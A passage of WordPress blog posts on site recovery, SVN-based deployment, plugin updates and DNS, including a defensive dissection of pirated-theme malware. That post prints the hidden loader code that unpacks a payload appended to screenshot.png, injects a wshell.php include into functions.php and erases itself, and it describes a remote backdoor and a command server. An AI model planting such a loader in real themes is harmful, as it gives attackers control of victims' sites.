A surprising number of people don’t know about or have never used this feature, so it’s something I thought I should point out.

You know all those boxes on the Edit Post page? Did you know you could turn them off? Did you know that WP 3.1 turns many of them off by default?

See? Just click the Screen Options dropdown to show or hide anything you want or don’t want to see. These settings are saved so that you can customize how your own editing screen looks, for you only, every time you go to add or edit a post. Plugins that make meta boxes get their meta box added to this list too, so if you don’t use the manual Publisher boxes from my own Facebook or Twitter plugins, for example, you can just disable them.

People often ask me why there’s a Publish box when they are using Auto-Publish in the SFC or STC plugins, and why I didn’t make that optional. So I just thought it might be worth pointing out publicly that there is already an option for it, built right in. :)

Shortlink:

There’s been a lot of articles on this topic over the years (I even wrote one). But I’m going to tackle this from a different angle, one that I’m not used to: A non-technical one.

Fixing a website “hack” is actually a fairly heavy technical thing to do. Most bloggers are not webmasters. They are not really technical people. They’re probably people who simply purchased a web hosting account, maybe set up WordPress using a one-click install, and started blogging. In an ideal world, this sort of setup would be perfectly secure. The fact that it’s usually not is really a problem for web hosts to figure out.

But often I find that the emails/posts I see that read “help me my site was hacked what do I do” or similar don’t get a lot of help. There’s a reason for this. People who are asking this question are not usually the type of people who are technically capable of actually fixing the problem. Guiding somebody through this process is non-trivial. Frankly, it’s kind of a pain in the ass. So those of us capable of fixing such a site (and there are plenty) are reluctant to try to help and basically offer our services for free. The amount of work is high, the frustration is equally high, and there’s not a lot of benefit in it.

So, with that in mind..

Step One: Regain control of the site

By “control”, I basically mean to get the passwords back and change them. Tell your webhost to do it if you have to, and read this codex article on how to change your WordPress password even when you can’t get into WordPress. Also, change your web hosting account password, your FTP password, the database password… Any password you have even remotely related to your site: change it. Note that doing this will very likely break the site. That’s okay, down is down, and it would be better to be down than showing hacked spammy crap to the world.

And that’s another point: take the site down, immediately. Unexpected downtime sucks, but if you’re showing spam to the world, then Google is sure to notice. If you’re down for a time, then Google understands and can cope, but if you’re showing bad things, then Google will think you’re a bad person. And you don’t want that.

The idea here is to stop the bleeding. Until you do that, you haven’t done anything at all.

Step Two: Don’t do a damn thing else

Once you have the passwords and the site is offline, leave it like that.

Seriously, don’t erase anything, don’t restore from backup, don’t do anything until you do what follows next…

Anything you do at this point destroys vital information. I cannot stress this enough.

Step Three: Hire a technically competent person to fix it for you

If you know me, then you know I rarely recommend this sort of thing. I tend to offer technical knowledge and try to help people do-it-themselves. But hey, for some people, there are times when it’s just a hell of a lot to take in. Webserver security is a complex subject, with a lot of aspects to it. There is a lot of background knowledge you need to know.

If you’re reading this and you don’t know how a webserver works, or config files, or you don’t know arcane SQL commands, or you don’t understand how the PHP code connects to the database and uses templates to generate HTML, then trust me when I tell you that you are not going to fix your website. Not really. Sure, you could probably get it running again, but you can’t fix it to where it won’t get hacked again.

So, find a website tech person. Somebody who knows what they’re doing.

(BTW, not me. Seriously, I’ve got enough to do as is. Just don’t even ask.)

How, you ask? I dunno. Look on the googles. How do you find anybody to do anything? There’s several sites out there for offering short-term jobs to tech wizards. There is the WordPress Jobs site, but note that I said you need a website person, not necessarily a WordPress person. A lot of people who know WordPress don’t know websites and security… Although many of them do and this is not an indictment on the community, it’s more a recognition of the fact that working with servers and websites in general is not really the same thing as working with WordPress. WP knowledge is useful, but generic server admin experience is much, much better in this situation.

And yes, I said HIRE. Seriously, pay up. This is a lot of work that requires special knowledge. I know that a lot of people try to run their websites cheaply and such… Look here, if you’re paying less than $300 a year to run a website, then why bother? How serious are you about your website anyway? Quality web hosting should cost you more than that, hiring a specialist for a short term day-job is going to run you a fair amount of money. Expect that and don’t give him too much hassle about it. Feel free to try to argue on the price, but please don’t be insulting. Offering $50 to fix your site is unfair, as that’s less than an hour’s pay for most consultants, and you need one with special skills here. This is a minimum of a day’s work, probably longer if your site is at all complicated. Just getting it running again without doing everything that needs to be done is probably a 4 hour job. Sure, somebody can hack together a fix in half an hour, but do you ask your automotive guy to just throw the oil at the engine until it runs? Have some respect for the fact that knowledge and skill is valuable, in any profession.

Basically, here’s what the website guy will be doing, if he knows his business.

First, he’ll probably backup the site. This includes the files, the databases, any logs that are available, everything. The idea is to grab a copy of the whole blamed thing, as it stands. This is a “cover-your-ass” scenario; he’s going to be making large scale changes to the site, so having a backup is a good idea, even if it is a hacked one. The person will need all of the relevant passwords, but don’t give them out in advance. He’ll ask for what he needs from you.

Second, if you already have regular backups (please, start making regular backups… VaultPress is invaluable in this situation and can help the process out immensely), then he’ll probably want to restore to a backup from before the hack. And yes, you very likely WILL lose content in this restoration. However, since there is a backup, the content can be recovered later, if it’s worth the trouble.

(Note, if you don’t have any backups, then he’ll try to remove the hack manually. This is error prone and difficult to do. It also takes longer and has a much lower chance of succeeding. It’s also difficult to know that you got everything out of the site. If anything is left behind, then the site can be re-hacked through hidden backdoors. This is why regular backups are critically important to have.)

Third, he’ll update everything to the latest versions and perform a security audit of the site. This means looking at all the plugins, themes, permissions on the files, the files themselves, everything. This is to make sure all the main security bases are covered and that it doesn’t get rehacked while he does the next step. They may talk about “hardening” the site.

Fourth, from that backup he made earlier, he’ll likely try to trace where the hack started from. Logs help here, as do the files themselves. This is kind of an art form. You’re looking at a static picture of a dynamic system. And unfortunately, he may not even be able to tell you what happened or how the attackers got in. Attackers often hide their traces, especially automated tools that do hacking of sites. With any luck, the basic upgrades to the system will be enough to prevent them getting in again, and a security audit by a knowing eye will eliminate the most common ways of attackers getting in. That often is enough.

Step Four: Prevention

Once your site is fixed, then you need to take steps to prevent it from happening again. The rules here are the same rules as any other technical system.

  • Regular backups. I can’t recommend VaultPress enough. After my site went offline for a day due to some issues with my webhost (not a hack), I lost some data. VaultPress had it and restoring it was easy. There’s other good backup solutions too, if you can’t afford $20 a month (seriously, don’t cheap out on your website folks!).
  • Security auditing. There’s some good plugins out there to do automatic scans of your site on a regular basis and warn you about changes. There’s good plugins to do security checks on your sites files. There’s good tools to check for issues that may be invisible to you. Use them, regularly. Or at least install them and let them run and warn you of possible threats.
  • Virus scanning. My website got hacked one time only. How? A trojan made it onto my computer and stole my FTP password, then an automated tool tied to that trojan tried to upload bad things to my site. It got stopped halfway (and I found and eliminated the trojan), but the point is that even tech-ninjas like me can slip up every once in a while. Have good security on your home computer as well.
  • Strong passwords. There is no longer any reason to use the same password everywhere. There is no longer any excuse for using a password that doesn’t look like total gibberish. Seriously, with recent hacks making this sort of thing obvious, everybody should be using a password storage solution. I tried several and settled on LastPass. Other people I know use 1Password. This sort of thing is a requirement for secure computing, and everybody should be using something like it.

These are some basic thoughts on the subject, and there’s probably others I haven’t considered. Security is an ever changing thing. The person you hire may make suggestions, and if they’re good ones, it may be worth retaining him for future work. If your site is valuable to you, then it may be worth it to invest in its future.

And yes, anybody can learn how to do this sort of thing. Probably on their own. The documentation is out there, the knowledge is freely available, and many tutorials exist. But sometimes you need to ask yourself, is this the right time for me to learn how to DIY? If you need quick action, then it might just be worth paying a pro.

Shortlink:

I got tired of waiting for a “proper” YOURLS WordPress plugin to come out, so I did it myself. Hey, I’ve got other stuff to do, and I needed a working shortlink solution.

Basically, this is the “YOURLS: WordPress to Twitter” plugin, with all the Twitter bits removed.

While I was in there, I also fixed the password saving bug that I kept having in Chrome (just cut out the submit button JS), switched it to eliminate the Pear_JSON package entirely (WordPress has JSON support built in already), and did some other minor things. I’m sure I missed some bits, but for the most part it was really just a hack and slash job. Eliminated about 30% of the plugin’s main code and all the ancillary Twitter libraries.

On a side note, this sort of thing only reinforces something I’ve said before: Plugins should only try to do one thing, and to do it well. Trying to have a twitter solution in this plugin when I didn’t want to use that bit at all basically just made it stop doing the shortlinks correctly. That’s a real problem when it’s really a shortlink plugin to begin with. I already had a really good twitter solution, trying to have all this extra crap in there just made it not work properly.

If I had more time, I’d also remove all the JS stuff on the settings page too. That’s not really necessary when you only have a few fields to enter. But I guess it works, sort of. Whatever. Not important.

Anyway, here you go. I won’t be putting this in the plugins repository, since it’s not really my code. But I am posting it here in case it helps anybody. And if Ozh changes his plugin to eliminate the Twitter stuff (or to at least make it optional without impacting functionality), then it would be worth switching to that in the future. I won’t be supporting this plugin anytime soon.

YOURLS – WordPress (no Twitter)

Edit: Note that I did this mainly because I wanted to use my own Simple Twitter Connect instead for posting items to Twitter. That works fine and uses the shortlink from this plugin fine. But the extra Twitter stuff in the original plugin interfered with it, and there was no good way to disable that stuff short of editing the plugin. I’m a fan of not editing other people’s plugins, but in this case there really wasn’t a lot of choice. YOURLS is a good system and I like using it, I just wish the WP plugin for it wasn’t trying to do so much. Just so you know. :)

Shortlink:

While the WordPress upgrade system is great, sometimes people prefer to use command line tools or similar to manage their sites.

I hadn’t done this much until recently, but when I was at #wptybee, Matt asked me to set up a site using SVN externals. This turned out to be easier than expected, and a great way to keep a site up-to-date and easy to manage. So I thought I’d document the process a little bit here.

This is actually not an uncommon way of creating sites and maintaining them. I’d just never seen it documented anywhere before. If you know SVN, you probably already know how to do this.

Prerequisites

First, you’ll need to have a website on a host. Obviously.

You’ll also need shell access on that host. SSH will do fine.

Next, you’ll need that host to have SVN. Easy way to check: just run “svn –version” at the command line.

Finally, you’ll need an SVN server. A central place to store your files. Some hosts let you set these up easily. Sometimes you’ll have to set one up yourself. How to do this is slightly outside the scope of this article.

Create the SVN environment

The first thing you’ll want to do is to check out your SVN area into a directory on the machine. You can do this part on either your local machine, or on the server. I did it on my Windows 7 laptop, using TortoiseSVN.

The basic idea here is that this site will become your new public_html directory. Alternatively, you can make it a subdirectory under that and use .htaccess rules or any form of rewriting to change where the root of your website is. Regardless, the directory as a whole will be your main website directory.

SVN Externals

Now, we’re going to get WordPress installed into your SVN. To do that, we setup the WordPress SVN to be an external of the SVN root.

If you use TortoiseSVN, then you’re going to right click inside the root of your checkout, then select TortoiseSVN->Properties. In the dialog that follows, you’ll create a new property named “svn:externals” and give it a value of “wp http://core.svn.wordpress.org/trunk/“. Hit OK to make it stick (note, do not select the recursive option).

Note, if you’re using the command line, a guide on svn externals is here: http://beerpla.net/2009/06/20/how-to-properly-set-svn-svnexternals-property-in-svn-command-line/.

What this does is simple, really. It tells the SVN that the contents in the “wp” directory will come from http://core.svn.wordpress.org/trunk , which is the main trunk version of WordPress.

Alternatively, if you’re not brave enough to run trunk all the time, you could use http://core.svn.wordpress.org/branches/3.0, which would make it get the latest 3.0 version at all times (which is 3.0.4 right now). And if you wanted to use a directory name other than “wp”, you could change that as well.

The point being that instead of having to manually update WordPress, you’re telling your SVN server that the contents there actually come from another SVN server. So when you do an “update”, it will go and grab the latest version of WordPress directly, without having to updated by hand.

After you’ve modified the externals setting for that root directory, you have to do a commit, to send the new property to the SVN server. Then you can do an update and watch it go and grab a copy of WordPress and put it into your directory directly.

Custom Content

So now we have a WordPress setup, but it’s not installed. No worries, but we’re going to make a custom installation here, so we’ll hand edit the wp-config file eventually.

Why are we doing this? Well, we want our wp-content folder to live outside of the WordPress directory. It’s going to contain our custom plugins and themes and so forth. That way, no changes to WordPress’s files in their SVN can ever touch our own files.

So we need to make a folder in the root called “custom-content”. Or whatever you want to call it. Since this name will be visible in your HTML, you might want to choose a good one.

Now inside that folder, make a plugins and a themes directory. For the themes, you’re probably using a custom theme for your site, and you can just put it in there directly.

Plugins are a different matter.

Plugins as Externals

I assume that whatever plugins you are using are coming from the plugin repository. Or at least, some of them are. For your custom ones, you can do pretty much the same as the themes and just drop the plugins into your plugins directory. But for plugins from the repo, there’s a better way.

In much the same way as we made the wp directory an external pointer to the core WordPress SVN, we’re now going to do the same for our plugins.

So step one, choose a plugin you want. Let’s choose Akismet for a demo.

Step two, in your plugins directory, do the SVN Properties thing again, and this time, add this as an svn:externals of
akismet http://plugins.svn.wordpress.org/akismet/trunk/” to get the akismet trunk.

Step three, commit and update again, and voila, now you have Akismet.

But wait, we might want more than one plugin. Well, we can do that too. Let’s add the stats plugin.

Step one, go back to the SVN->Properties of the plugins directory.

Step two, edit the existing svn:externals setting. This time, we’re going to add “stats http://plugins.svn.wordpress.org/stats/branches/1.8/” on a new line. Basically, you can have as many externals you want, just be sure to put each one on a new line.

Step three, commit and update and it’ll download the stats plugin.

Repeat for all the plugins you want to keep up-to-date.

You’ll note that I used a branch of the stats plugin instead of the trunk. That’s because the trunk isn’t the latest version in the case of the stats plugin. Not every plugin author treats the trunk/tag/branch system the same, so you should investigate each plugin and see how they keep things up-to-date with their setup.

Theme note

Note that I am using a wholly custom theme, but you might not be. Maybe you’re using a child theme of twentyten. Themes exist inside an SVN too, and you can create externals to them in the same way.

For example, in the themes directory, you could set svn:externals to  “twentyten http://themes.svn.wordpress.org/twentyten/1.1/” and get the twentyten theme for use. Any theme in the Themes directory should be available in this way.

Custom wp-config.php

Now we need to create our wp-config.php file. Grab a copy of the sample wp-config file and put it in the root. Yes, not in the wp directory. WordPress looks in both its own directory and in one directory above it, so having it in the root will still allow it to work and will keep the wp directory untouched.

Edit the file, and go ahead and add all the database details. Then add these lines:

define( 'WP_CONTENT_DIR', $_SERVER['DOCUMENT_ROOT'] . '/custom-content' );
define( 'WP_CONTENT_URL', 'http://example.com/custom-content');

You’ll need to use your own directory names and URL, of course. The purpose here is to tell WordPress that the wp-content directory isn’t the one to use anymore, but to use your custom content directory instead.

Special .htaccess

Because we’ve installed wp in a subdirectory off of what will be the root of the site, it would normally be referenced as http://example.com/wp/ which is undesirable. So I crafted some simple .htaccess rules to move the “root” of the site into the /wp directory, and still have everything work.

Options -Indexes
RewriteEngine on
RewriteCond %{HTTP_HOST} ^(www.)?example.com$
RewriteCond %{REQUEST_URI} !^/wp/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /wp/$1
RewriteCond %{HTTP_HOST} ^(www.)?example.com$
RewriteRule ^(/)?$ wp/index.php [L]

The Options -Indexes just turns off the normal Apache directory indexing. I don’t like it when people try to look through my files. :)

The rest basically rewrites any URLs for directories or files that don’t exist into calls to the /wp directory, without actually modifying the URL. The rewrite is internal, so the URL remains the same. This has the effect of moving the root to the /wp directory, but still allowing calls to the custom content directory to serve the right files.

After you’re done, save the file, and commit everything you’ve done so far.

Running it on the site

At this point, you should be capable of going to the site and loading up all that you’ve done onto it. So SSH in (or whatever) and do a checkout of your new SVN setup into the proper location for it. You may need to rename your existing public_html directory and/or set proper permissions on it and such.

If you’re setting up a new site, you’ll be able to go to it and have it create the database tables and such as well.

What’s the point?

Okay, so you may have read through all this and wondered what the point was. Well, it’s simple, really.

Go to your server, and do “svn up public_html”… and then watch as it proceeds to update the entire site. WordPress, plugins, themes, your custom files, everything on the site. The externals makes WordPress and the plugins and such all update directly from the WordPress SVN systems, allowing you to do one command to update them all.

If you didn’t use trunk, then updating is only slightly harder. Basically, you just change the externals to point to the new version, then commit and do an svn up.

In fact, if you want to live dangerously, you can hook everything to trunk and then have it automatically do an svn up every night. Not many people recommend running production sites on trunk, but for your own personal site, why not? You’ll always get access to the latest features. :)

An additional thing to keep in mind is that with a system like this, the files on the site are always backed up on the SVN server. For things like inline file uploads, you’ll need to log in every once in a while and do “svn add” and “svn commit” to send the new files to the SVN server, but for the most part, everything on the site will be in your SVN and you can work with it locally before sending it to the site proper.

And it’s expandable too. You can get your sites files from any host that has svn on it. You could run more than one webserver, and have them on a rotation or something. There’s a lot of possible configuration methods here.

It sure is a nice way to update though. :D

Shortlink:

Saw this post about Chrome voice searching in HTML forms on Google’s blog today. Very cool, so I had to give it a try. If you check the “Search” box in the upper right corner of the page, you’ll see a little icon (if you’re using a dev version of Chrome). Click it to do a search-by-voice.

What I didn’t expect was how totally easy it is to implement. Seriously, it’s less than a line of code.

Example. Say your search box (possibly in your theme’s searchform.php file) looks like this:

<form id="searchform" action="<?php bloginfo('home'); ?>/" method="get">
<input id="s" name="s" size="20" type="text" value="<?php _e('Search') ?>..." />
</form>

All you have to do is to add some bits to the input element box. Specifically, you add x-webkit-speech speech onwebkitspeechchange=”this.form.submit();”. That’s it. Seriously:

<form id="searchform" action="<?php bloginfo('home'); ?>/" method="get">
<input id="s" name="s" size="20" type="text" value="<?php _e('Search') ?>..." x-webkit-speech speech onwebkitspeechchange="this.form.submit();" />
</form>

Note that this won’t validate, if you care about that sort of thing. Works fine though.

You can do a whole lot more with Javascript and events and translations and multiple choices and such, if you’re thinking of developing something cool with it. I’m just shocked and amazed that this is already in my browser and I had no idea it was there. Very cool.

Shortlink:

Sorry for the several updates over the last day. Somebody pointed out that I hadn’t pushed a new version of SFC in several months, and that the fixes in trunk had gotten a ways ahead of those in the released version. Unfortunately, I didn’t actually go and test properly, so versions 0.22 and 0.23 had minor but critical bugs in them. Version 0.24 should push shortly with the fixes for those bugs as well as the enhancements over the last several months.

A short list of the changes/fixes:

  • Thanks to Burak Tuyan, the whole plugin is now more i18n capable, for people who want to translate it.
  • Added an sfc_img_exclude filter, to let others add their own image classes to exclude from the automatic image finder for share and publish and such.
  • The sfc_like_button() functions now supports a url parameter to add a like button to a specific URL.
  • A couple of patches by Jamie Zawinski: Publish now sends up to 1000 chars from the post to Facebook.
  • Also thanks to jwz, publish now gets images correctly in more cases.
  • If you enable login avatars (by uncommenting that code), it will show them for comments now too.
  • Eliminated deprecated calls to Facebook functions (xid and register users calls)
  • Custom Post Type support for automatic publishing (any CPT with public=>true will get auto-published).
  • Custom Post Type support for manual publishing (any CPT with public=>true will show the meta box in its edit screen).
  • Contextual help added to SFC Settings page.
  • Improved error messages
  • Numerous other minor optimizations and bugfixes

Version 1.0, which will ditch the old Connect code entirely, isn’t quite ready yet. The new registration stuff will be in there though, eventually. It will probably be after I get back from the core developers meeting though. Sorry for the excessive delay on that. I know lots of people want it, I never seem to have the time. I’ll try to find the time and finish it up soon. Really.

Note to users: If you got the “Breaking change: API deprecations” email from Facebook today, then you are probably using the SFC-Login plugin, or have at some point. Version 0.24 removes the code they are deprecating from the SFC-Login plugin. So upgrade and you’ll be fine. However, note that SFC is no longer compatible with WordPress versions prior to 3.0. Upgrade WordPress to 3.0 or later before upgrading SFC.

Note to international users: And with all that, there’s still a bug. If you’re seeing weird characters in your FB Published posts, edit the sfc-publish.php file. On line 179 you’ll find return utf8_encode($text);. Change it to return $text; to fix the problem with the double encoded characters. The next version will have this fix as well, but I didn’t think it was major enough to push a whole new version right away.

Shortlink:


Every time I look through the beta of WordPress 3.1, I find something new. Today I found the WP_HTTP_IXR_Client. The IXR_Client was there in previous versions, but it didn’t use the WordPress HTTP API, and so it rarely worked for me. This wrapper/rework of it works like a charm. Some quick examples:

Testing the client to see if it can talk to another blog:

$client = new WP_HTTP_IXR_Client('http://example.com/xmlrpc.php');
$client->query('demo.sayHello');
echo $client->getResponse();

That will print “Hello!” if it succeeded.

Testing something with parameters, like adding two numbers:

$client = new WP_HTTP_IXR_Client('http://example.com/xmlrpc.php');
$client->query('demo.addTwoNumbers', 4, 5);
echo $client->getResponse();

That will produce an output of 9… Okay, let’s do something meaningful.

$client = new WP_HTTP_IXR_Client('http://example.com/xmlrpc.php');
$client->query('wp.getOptions', 0, 'username', 'password', 'software_version');
$response = $client->getResponse();
echo $response['software_version']['value'];

It returns what version of WordPress I’m running on that test site. In this case, that would be 3.1-beta2-17056.

Take a look through the class-wp-xmlrpc-server.php file for the various things you can do. Maybe you can think of some handy ways to make your blogs talk to each other. :)

Shortlink:

As I’ve gotten involved with helping the WordPress.org theme review team, I’ve seen some strange things. One of the stranger ones was a theme virus that actually propagated from one theme to all others in a WordPress installation. That one was awfully clever, but it ultimately didn’t really do anything but propagate and generally be a pain in the ass.

However, today, @chip_bennett discovered that one of his themes had been copied and was being redistributed by a site called top-themes.com.

It had malware inserted into it that is of a much more malicious and spammy nature. Further investigation reveals that ALL of the themes on that site contain basically the same code. This code is not actually “viral”, but it’s definitely malware and it’s worth investigating to see some of the ways people try to hide their spam.

So today, I’m going to dissect it and serve it up on a platter for everybody to see.

Infection Point

We’ll start with the most obvious starting point, and that is in the functions.php file. At the very end of the functions.php file, we find a call to “get_custom_headers();”. An innocuous enough sounding name, so we go find that function. Here’s the first part of the function:

function get_custom_headers() {
    $_SESSION['authenticated'] = false;
    $filename = dirname(__FILE__).DS."screenshot.png";

Right away, something is wrong. It’s getting the location of the screenshot file (DS is defined elsewhere as the Directory Separator, which makes it work on both Linux and Windows boxes). That doesn’t make a whole lot of sense, the screenshot is supposed to be displayed by the admin interface only. Let’s read on.

    $fileContents = explode(pack("c*", 0xAE,0x42,0x60,0x82), file_get_contents($filename));
    $screenshot = array_shift($fileContents);

The “pack” function is one that isn’t used much. It’s a means of manipulating binary files. The “explode” function is a way of splitting a string by some characters. So what this code really is doing is to find a particular string of hex digits in the screenshot file, split it across that boundary, and then get only the first part of that (the actual screenshot file), thanks to the array shift. This gets used later.

In other words, he’s appended something onto the end of the screenshot file, and this code reads it in, finds it, then gets a copy of it. What could this be? Turns out to be a ZIP file.

    $unzipped = false;
    $path = check_istalled_path($_SERVER['DOCUMENT_ROOT']);

The check_istalled_path function looks for a wp-additional directory and returns a path to it.

    if($path === false && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") {
	if(function_exists("zip_read")) {
	    $path = array_pop(array_shuffle(find_writeble_path($_SERVER['DOCUMENT_ROOT'])));
	    @mkdir($path = $path.DS."wp-additional");

	    file_put_contents($path.DS."archive.zip", implode(pack("c*", 0xAE,0x42,0x60,0x82), $fileContents));
	    $zip = new ZipArchive;
	    if ($zip->open($path.DS."archive.zip")===true) {

		$zip->extractTo($path.DS);
		$zip->close();
		unlink($path.DS."archive.zip");
		$unzipped = true;
	    }
	    @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php  if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php"));
	}

If the zip_read function is available, he makes a wp-additional directory and puts the ZIP file there. Then he simply unzips the malware file into the target theme. This requires a bit of explanation.

Elsewhere there is a function called “find_writeble_path”. This function doesn’t limit itself to the current theme’s directory. Instead, it looks through all installed themes on the system and tries to find all themes that has permissions set to allow it to be written to. So in all of the above, he’s really looking for any theme that he can infect with the malware contained in this archive. The “array_shuffle” line is his way of picking a random theme.

So he unzips the malware to that theme then adds code to himself to that makes it try to read and execute this wshell.php file.

But if the wp-additional directory full of malware has already been created somewhere on the system, then the above code doesn’t run. If it finds the malware directory, then it skips that and just does the following:

    } else {
	if($_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") {
	    $path = $_SERVER['DOCUMENT_ROOT'].DS.$path;
	    @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php"));
	}
    }

It found the malware, so it simply rewrites itself to make sure it includes it.

The overall affect of the above code is to make the them unzip the malware into any theme directory it can find, then rewrite itself to attempt to include it.

Next we have self-eliminating code:

    @file_put_contents(__FILE__, array_shift(explode("function get_custom_headers", file_get_contents(__FILE__))));
    @file_put_contents(dirname(__FILE__).DS."screenshot.png", $screenshot);

What does this code do? Well, it erases itself from the file!

This code reads the file that the malware code is in right now (with file_get_contents(__FILE__) ). Then it explodes it along the get_custom_headers function. Finally, it writes it back out to the file itself.

Basically, using the explode and array_shift method, it finds the get_custom_headers function code, then writes the functions.php back out without that code or anything after it. Now that the malware has done its job, this code basically self deletes, to make it not traceable. All that’s left is the wp-additional directory that contains the malware, and the include it wrote to the beginning of the file to load that malware.

Here’s where it also erases itself from the screenshot, using the $screenshot variable it saved earlier.

    if(function_exists("zip_read") && $unzipped == true && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") {
	@require_once($path.DS."wshell.php");
    }
}

This just makes it load the now-decompressed wshell.php malware immediately, instead of waiting for the next page load.

Also note how the code doesn’t run on localhost installs? If you look closely, the self-removing code does run on those installs. Meaning that if you run this theme in a test bed, then it removes itself without infection. This is to make it harder for people to analyse the code, since it disappears the first time you run it on a local test system.

The Malware

So what is this malware? Well, there’s two parts to it.

The first part is a standard PHP Shell install, essentially giving a shell backdoor to anybody who knows the location of the malware and the username and password. This is a massive security hole, obviously.

The second part is somewhat custom. It’s in the wshell.php file that the above malware tries so hard to get you to include. Essentially, this installs a spamming system of fairly wide ranging scope.

The first thing it does is to notify its master that it exists. It does this by making a connection to 188.165.212.17 and sending what looks sorta like SMTP commands, but which are probably customized in some way. But basically it tells this server where it’s installed and how it can be accessed. After it gets confirmation, it sets a parameter to make it not send this again.

The spamming system itself contains a number of commands. The way it gets commands from the attacker is by looking for them in cookies with a name of “wsh-cmd”. So in this sense, it’s kind of like a server. The attacker has some kind of a client that talks to your server via the normal HTTP, but sends it hidden commands via this cookie.

The commands allow the attacker to view a list of writable files in your themes directory, and to view any specified readable file on the system. It avoids triggering mod_security systems by base64 encoding files that it sends around. But the main thrust of the system is to allow the attacker to insert links into, and remove links from, any writable theme file.

Essentially, it’s a remote-controlled automated link spamming tool.

The attacker can send URLs to your system and it will insert them into theme files. He can later remove those links. There’s a lot of code to allow it to generate proper links, to insert them into specific lines, things of that nature.

Summary

In short, don’t trust dodgy theme sites. Get your free themes from WordPress.org Extend-Themes instead.

Also, this sort of thing should tell you why we ban certain types of things from the WordPress.org theme repository. We can’t scan for specific malware, as it’s too easy to get around that sort of scanning. Scanning for functions that most of these malwares use is simpler and more effective. And all of our themes go through human-eye review as well, with anything even slightly dodgy getting brought up before a mailing list of experts who can take a look and determine what is what.

Shortlink:

Not exactly WordPress related, but I’m giving away a free Brewbot coffeemaker over on my other blog, if you’re interested. And I know tech people love their coffee.

Shortlink:

I have been trading email with several people recently, talking them through some webhosting stuff, and I just discovered how prevalent this practice was. I should have guessed it when I wrote a post about it earlier, but I didn’t know everybody was doing it this way. Most people I talked to didn’t realize there was any other way.

So it’s worth another look, I think.

Note that this post covers some basic fundamentals to start with. If you already grok DNS, you can skip ahead to the “How to Point a Domain at a Webhost” bit. For now, I’m going to use the word “server” a lot.

Why DNS is Important

So you bought a domain name for a few bucks. That’s great. What nobody told you: A domain name by itself is useless.

Really. Computers cannot connect to domain names. Computers on the internet can only connect to IP addresses. So you have to have a way to convert that domain name into an IP address. The way that happens is through DNS.

DNS? How does it work?

DNS works as a decentralized system. There’s thousands (millions?) of DNS servers in the world, all talking to each other all the time. One way to think of it is as a big tree, with connections coming from the root servers all the way up through to other servers. This is the traditional approach. But a better way to think of it is as a cloud, with connections branching every which way. DNS servers talk to other DNS servers and they don’t much care where they are on the “tree”, generally speaking.

When I make a request for my site, ottopress.com, then a few things happen.

First, my computer checks its memory to see if I’ve done this recently. I probably have, in my case, so it just uses that information if it’s pretty recent. This is known as DNS Caching, and all modern systems do it.

Next, if I don’t know the address, then I know who to ask. I ask my own DNS server. Pop open a command prompt and type ipconfig /all (or ifconfig -a) . You’ll get a big listing of your IP configuration info, and some of those are your DNS servers. Those are provided by whatever gave your computer an IP address. It might be your home router, or it might be your ISP, or maybe you entered them manually. The point is that that DNS IP is where the computer connects to in order to ask it “hey, where is ottopress.com?”.

Now, my DNS server may already know the answer because it has it in memory (DNS cache again). If not, then it knows how to find out.

Firstly, it looks at the name itself. In this case, the name ends in “.com”. That’s important. This is the “Top Level Domain” (TLD), and every TLD has its own set of servers dedicated to it. Actually, there’s a set of servers called the “root nameservers“. They live at root-servers.net. They are a set of 13 servers world wide which distribute the TLD information. (Actually, there’s a lot more computers than “servers”, since each server is separated geographically. The J server, for example, lives in 70 different places. You can see all about them at root-servers.org.)

They deliver a file called the “root zone” file. In fact, this file is rather small (it will even fit on an old-school single sided 5.25″ floppy!), but it contains some critical information that describes the functioning of the DNS system. Specifically, it specifies where things like .com and .org and all the other TLDs can be serviced from. Every DNS server on the planet needs this information, and usually has it cached for a long, long, long time. The thing rarely changes.

So, my DNS server looks at the root zone file and discovers that “.com” domains are handled by some other set of servers, so it goes to those and asks it “where can I get the info for ottopress.com?”

This is an opportune moment to talk about authority.

Authoritative Responses and What They Mean

Every domain name on the internet has to have somebody in control of it. This person is considered to be the “authority” on that domain. He in turn delegates that authority to some DNS server. That server is the only one on the whole internet who knows, for a fact, what IP addresses are connected to his names.

When I get something out of the cache of any server, the result is “non-authoritative”. That is, the DNS server gave me an answer, but it cannot guarantee that the answer is the right one. A non-authoritative answer is the fast one.

Those root servers I talked about are the authorities for the TLDs. They give out the root zone file, which says, among other things, who is the authority for all “com” domains. That server, in turn, doesn’t have the faintest clue what IP address connects to ottopress.com, but it does have information on what nameserver is the authority for ottopress.com.

So my DNS server goes and talks to this new server which the .com servers have told it is the authority. And finally, THAT server says “yes, I know for a fact that ottopress.com lives at 64.202.163.10”.

So, now that it has an answer, my DNS server relays this back to me. It also caches the information, because I’m probably going to ask it again soon, and it’s quicker if it doesn’t have to go through all that again.

How to Point a Domain at a Webhost

So, when you signed up for your webhost, if you got the domain somewhere else, then they very likely told you to “point your domain’s nameservers to X and Y”.  What does this mean, exactly?

Previously, I explained how my DNS lookup went to the .com authoritative nameservers to get the nameserver information. Well, when I change my domain’s nameservers, then what I’m actually doing is changing the information on those .com servers. I’m telling them that these new nameservers are the authorities for all DNS lookups involving ottopress.com. I’m delegating my authority to those nameservers. When I do that, what I’m saying is that those nameservers are now in control over all requests on the internet that involve my domain.

Now, this normally isn’t a bad thing. Running nameservers is difficult and tricky. The syntax is arcane and strange (albeit well worth learning for your toolbox). Plus, you’re probably not in possession of all the information. After all, you hired this web hosting company to host your website for you, and they might change IPs around and such. Better for them to manage it, yes?

No.

